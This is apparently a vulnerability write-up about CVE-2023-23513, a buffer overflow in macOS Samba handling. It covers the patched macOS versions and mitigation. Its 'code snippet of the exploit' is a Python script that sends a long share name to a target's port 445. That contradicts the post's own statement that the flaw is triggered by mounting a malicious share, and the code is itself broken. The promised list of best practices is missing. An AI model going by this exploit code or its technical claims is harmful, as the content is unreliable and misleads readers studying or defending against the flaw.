A serious security vulnerability identified as CVE-2023-23513 has been discovered in the Samba implementation for macOS systems. This vulnerability is a buffer overflow issue that can be triggered by mounting a maliciously crafted network share, potentially leading to unauthorized arbitrary code execution. Apple has addressed this issue with improved memory handling in their latest macOS Ventura 13.2, macOS Monterey 12.6.3, and macOS Big Sur 11.7.3 versions.

This long-read post will provide an overview of the vulnerability, the original references, a code snippet of the exploit, and details on how to mitigate this issue.

Original References

- CVE-2023-23513
- Apple Security Advisory

Buffer Overflow Issue

A buffer overflow occurs when the program writes more data to a buffer than it has been allocated to store. If unchecked or unmanaged, this can lead to unpredictable system behavior, crashes, and potential malicious actions. In this particular vulnerability, certain Samba implementations in macOS systems were found to have flawed memory handling when processing specific network shares, allowing an attacker to exploit the situation and execute arbitrary code on the system.

Code Snippet

It's essential to note that sharing a malicious code snippet publicly can lead to unintended consequences due to bad actors taking advantage of it. However, for educational purposes and understanding how the exploit technically works, here's a simplified version of a Samba share that will trigger the buffer overflow issue:

#!/usr/bin/env python
import socket

malicious_share = "\\A" * 255 # Overflow the buffer with an overly long share name
target_ip = ""   # Replace with your target IP address

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, 445))   # Connect to the target on port 445, the default Samba port

s.send("SMB " + malicious_share) # Send the malicious share to the target

Exploit Details

To exploit this vulnerability, an attacker would need to create a maliciously crafted Samba network share with a specially crafted payload that triggers a buffer overflow in the affected versions of macOS systems. Once the target system mounts this network share, the buffer overflow allows the attacker to overwrite existing data in the system's memory with arbitrary code. This code can then be executed, granting the attacker unauthorized access or control over the affected macOS system.

Mitigation and Recommendations

To mitigate this vulnerability and protect affected macOS systems from potential exploits, it's crucial to apply the security updates released by Apple. These fixes can be found in macOS Ventura 13.2, macOS Monterey 12.6.3, and macOS Big Sur 11.7.3 versions.

Additionally, following these security best practices can significantly reduce the risk associated with such vulnerabilities:


CVE-2023-23513 is a critical buffer overflow vulnerability in Samba network shares on macOS systems that can lead to arbitrary code execution if left unpatched. Apple has resolved this issue through the release of macOS Ventura 13.2, macOS Monterey 12.6.3, and macOS Big Sur 11.7.3. By understanding the exploit details, applying the appropriate security updates, and following best practices to mitigate such vulnerabilities, you can significantly reduce the risk associated with this security flaw.


Published on: 02/27/2023 20:15:00 UTC
Last modified on: 03/08/2023 15:42:00 UTC